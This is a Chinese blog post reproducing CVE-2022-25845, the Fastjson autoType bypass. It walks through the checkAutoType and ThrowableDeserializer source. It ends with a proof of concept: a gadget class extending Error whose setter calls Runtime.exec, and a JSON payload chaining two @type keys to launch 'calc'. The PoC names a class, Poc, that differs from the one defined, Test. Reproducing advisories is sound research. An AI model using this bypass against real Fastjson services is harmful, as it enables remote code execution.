CVE-2022-25845复现


CVE-2022-25845复现

Fastjson “Auto Type Bypass” RCE漏洞

Fastjson是一个Java库,可以将Java对象序列化和反序列化,实现Java对象和JSON的相互转换。
和大多数JSON类一样,Fastjson支持将基本 JSON 类型(数组和对象)分别序列化和反序列化为它们的 Java 等价对象——Arrays 和 Maps。
然而,Fastjson也可以将用户的Java对象序列化为JSON,或从JSON反序列化为Java对象。

我们知道在 fastjson 1.2.25 后设定了 autoType 只有打开 autoType之后才能使用,fastjson 是基于内置黑名单来实现安全的,如此可能会造成安全风险,就是绕过黑名单。
不开启时,是基于白名单进行防护的,这个漏洞的产生就是未开启 autoType 时产生的。
但是未开启 autoType 时是基于白名单,是很难实现代码执行的,所以我们就需要想办法 Bypass AutoType 默认禁用策略,可以实现调用任意类。

影响范围

所有依赖 Fastjson 版本 1.2.80 或更早版本的程序,在应用程序中如果包含使用用户数据调用 JSON.parse 或 JSON.parseObject 方法,但不指定要反序列化的特定类,都会受此漏洞的影响。

AutoType

JSON.parseObject()被调用时,它最终会调用到 DefaultJSONParser.parseObject(),并且传入参数objectJSONObjectfieldName为 null。当这个方法遇到@type这个符号(JSON.DEFAULT_TYPE_KEY)时,就会调用config.checkAutoType,其中声明了各种被黑名单列入的类。

int safeModeMask = Feature.SafeMode.mask;
boolean safeMode = this.safeMode || (features & safeModeMask) != 0 || (JSON.DEFAULT_PARSER_FEATURE & safeModeMask) != 0;
if (safeMode) {
    throw new JSONException("safeMode not support autoType : " + typeName);
} else if (typeName.length() < 192 && typeName.length() >= 3) {
    boolean expectClassFlag;
    if (expectClass == null) {
        expectClassFlag = false;
     } else {
        long expectHash = TypeUtils.fnv1a_64(expectClass.getName());
        if (expectHash != -8024746738719829346L && expectHash != 3247277300971823414L && expectHash != -5811778396720452501L && expectHash != -1368967840069965882L && expectHash != 2980334044947851925L && expectHash != 5183404141909004468L && expectHash != 7222019943667248779L && expectHash != -2027296626235911549L && expectHash != -2114196234051346931L && expectHash != -2939497380989775398L) {
            expectClassFlag = true;
        } else {
            expectClassFlag = false;
        }
}

fastjson 在1.2.61开始,把黑名单从十进制数变成了十六进制数,你可以在fastjson-blackist仓库中查看被列入Fastjson黑名单的类的hash值。

-8024746738719829346L:java.io.Serializable
3247277300971823414L:java.lang.Cloneable
-5811778396720452501L:java.io.Closeable
-1368967840069965882L:java.lang.AutoCloseable
2980334044947851925L:java.lang.Readable
5183404141909004468L:java.lang.Runnable
7222019943667248779L:java.util.EventListener
-2027296626235911549L:java.lang.Iterable
-2114196234051346931L:java.util.Collection
-2939497380989775398L:java.lang.Object

注意到if (!internalWhite && (this.autoTypeSupport || expectClassFlag))中有对this.autoTypeSupport的check,那是否可以利用expectClassFlag去绕过这个check,我们发现当expectClass不为null或者黑名单中的值时,expetClassFlag为真。

Throwable

我们发现com.alibaba.fastjson.parser.deserializer.ThrowableDeserializer中的deserialze中调用了checkAutoType()

while(true) {
    key = lexer.scanSymbol(parser.getSymbolTable());
    if (key == null) {
        if (lexer.token() == 13) {
            lexer.nextToken(16);
            break;
        }

        if (lexer.token() == 16 && lexer.isEnabled(Feature.AllowArbitraryCommas)) {
            continue;
        }
    }

    lexer.nextTokenWithColon(4);
    if (JSON.DEFAULT_TYPE_KEY.equals(key)) {
        if (lexer.token() != 4) {
            throw new JSONException("syntax error");
        }

        String exClassName = lexer.stringVal();
        exClass = parser.getConfig().checkAutoType(exClassName, Throwable.class, lexer.getFeatures());
        lexer.nextToken(16);

exClass = parser.getConfig().checkAutoType(exClassName, Throwable.class, lexer.getFeatures());这里会执行,并且调用checkAutoType时有传入Throwable.class作为expectClass的值。

com.alibaba.fastjson.parser.ParserConfig#getDeserializer(java.lang.Class<?>, java.lang.reflect.Type)public ObjectDeserializer getDeserializer(Class<?> clazz, Type type)函数中会有检测目标类中是否属于Throwable 的扩展

if (Collection.class.isAssignableFrom(clazz)) {
    deserializer = CollectionCodec.instance;
} else if (Map.class.isAssignableFrom(clazz)) {
    deserializer = MapDeserializer.instance;
} else if (Throwable.class.isAssignableFrom(clazz)) {
    deserializer = new ThrowableDeserializer(this, clazz);
} else if (PropertyProcessable.class.isAssignableFrom(clazz)) {
    deserializer = new PropertyProcessableDeserializer(clazz);
} else if (clazz == InetAddress.class) {
    deserializer = MiscCodec.instance;
} else {
    deserializer = this.createJavaBeanDeserializer(clazz, (Type)type);
}

漏洞的核心在于else if (Throwable.class.isAssignableFrom(clazz)) {deserializer = new ThrowableDeserializer(this, clazz);},如果目标类属于Throwable的扩展类,就可以调用checkAutoType,实现打开autoType的操作,去调用任何类。
尝试一下

package com.example.fastjson;
import java.io.IOException;
public class Test extends Error {
    public void setName(String str) {
        try {
            Runtime.getRuntime().exec(str);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

CVE-2022-25845利用

package com.example.fastjson;
import com.alibaba.fastjson.JSON;

public class PocDemo {
    public static void main(String[] args) {
        String json = "{\"@type\":\"java.lang.Exception\",\"@type\":\"com.example.fastjson.Poc\",\"name\":\"calc\"}";
        JSON.parse(json);
    }
}

https://blog.csdn.net/include_voidmain/article/details/124983839
https://www.jianshu.com/p/d4702da8b93e
https://blog.csdn.net/qq_38154820/article/details/125912678
https://blog.csdn.net/chence19871/article/details/126955148


Author: kingkb
Reprint policy: All articles in this blog are used except for special statements CC BY 4.0 reprint policy. If reproduced, please indicate source kingkb !